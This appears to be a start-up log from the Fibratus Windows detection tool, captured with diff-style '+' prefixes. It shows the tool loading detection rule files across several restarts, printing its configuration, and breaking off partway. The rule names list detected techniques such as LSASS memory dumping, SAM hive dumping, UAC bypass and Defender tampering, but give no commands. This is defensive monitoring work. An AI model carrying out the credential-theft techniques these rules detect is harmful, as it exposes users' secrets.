+time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-22T13:18:10+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-22T13:18:10+01:00 level=info msg=bootstrapping with pid 6400. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-22T13:18:10+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ content-type=>text/html use-template=>true port=>25 to=>[] enabled=>false] slack=>[ enabled=>false] systray=>[ enabled=>false quiet-mode=>false sound=>true] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-images=>false serialize-threads=>false serialize-envs=>true serialize-handles=>false] + eventsource .................... [ flush-interval=>1s buffer-size=>512 enable-dns=>false stack-enrichment=>true enable-handle=>false min-buffers=>16 enable-thread=>true enable-vamap=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-image=>true enable-registry=>true enable-net=>true enable-audit-api=>true enable-mem=>false enable-fileio=>true enable-threadpool=>false max-buffers=>36] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 max-age=>0 level=>info formatter=>text log-stdout=>true max-size=>100] + output ......................... [ http=>[ method=>POST timeout=>5s serializer=>json enable-gzip=>false endpoints=>[] tls-insecure-skip-verify=>false enabled=>false] amqp=>[ vhost=>/ enabled=>false tls-insecure-skip-verify=>false routing-key=>fibratus url=>amqp://localhost:5672 exchange=>fibratus timeout=>5s delivery-mode=>transient passive=>false exchange-type=>topic durable=>false] elasticsearch=>[ servers=>[http://127.0.0.1:9200] sniff=>false timeout=>5s healthcheck-timeout=>5s healthcheck-interval=>10s gzip-compression=>false healthcheck=>true flush-period=>1s enabled=>false index-name=>fibratus bulk-workers=>1 trace-log=>false template-name=>fibratus] eventlog=>[ enabled=>false level=>info] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true]] + pe ............................. [ read-sections=>false excluded-images=>[svchost.exe] read-resources=>false enabled=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false]] + yara ........................... [ rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] fastscan=>true excluded-procs=>[] excluded-files=>[] scan-timeout=>10s skip-files=>false skip-allocs=>false skip-registry=>false enabled=>false skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-22T13:18:10+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-22T13:18:13+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-22T13:20:20+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-22T13:20:20+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-22T13:20:20+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-22T13:21:01+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-22T13:21:01+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-22T13:21:01+01:00 level=info msg=bootstrapping with pid 11772. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-22T13:21:01+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ quiet-mode=>false enabled=>false sound=>true] slack=>[ enabled=>false] mail=>[ use-template=>true port=>25 content-type=>text/html to=>[] enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-images=>false serialize-handles=>false serialize-pe=>false serialize-envs=>true] + eventsource .................... [ enable-thread=>true min-buffers=>16 enable-handle=>false enable-net=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-audit-api=>true enable-fileio=>true stack-enrichment=>true buffer-size=>512 enable-image=>true max-buffers=>36 enable-mem=>false enable-registry=>true enable-threadpool=>false flush-interval=>1s enable-dns=>false enable-vamap=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 formatter=>text log-stdout=>true max-size=>100 max-backups=>15 level=>info] + output ......................... [ amqp=>[ passive=>false vhost=>/ enabled=>false tls-insecure-skip-verify=>false url=>amqp://localhost:5672 exchange=>fibratus exchange-type=>topic timeout=>5s delivery-mode=>transient durable=>false routing-key=>fibratus] http=>[ tls-insecure-skip-verify=>false endpoints=>[] timeout=>5s enabled=>false serializer=>json enable-gzip=>false method=>POST] elasticsearch=>[ trace-log=>false enabled=>false healthcheck-timeout=>5s sniff=>false bulk-workers=>1 gzip-compression=>false healthcheck=>true index-name=>fibratus timeout=>5s template-name=>fibratus healthcheck-interval=>10s flush-period=>1s servers=>[http://127.0.0.1:9200]] eventlog=>[ level=>info enabled=>false] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true]] + pe ............................. [ read-resources=>false excluded-images=>[svchost.exe] read-symbols=>false read-sections=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false]] + yara ........................... [ scan-timeout=>10s skip-registry=>false skip-files=>false skip-allocs=>false excluded-procs=>[] excluded-files=>[] skip-mmaps=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] enabled=>false fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-22T13:21:02+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-22T13:21:04+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-22T13:22:00+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-22T13:22:00+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-22T13:22:01+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-22T13:22:03+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-22T13:22:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-22T13:22:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-22T13:22:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-22T13:22:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-22T13:22:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-22T13:22:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-22T13:22:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-22T13:22:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-22T13:22:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-22T13:22:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-22T13:22:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-22T13:22:03+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-22T13:22:03+01:00 level=info msg=loading rule from 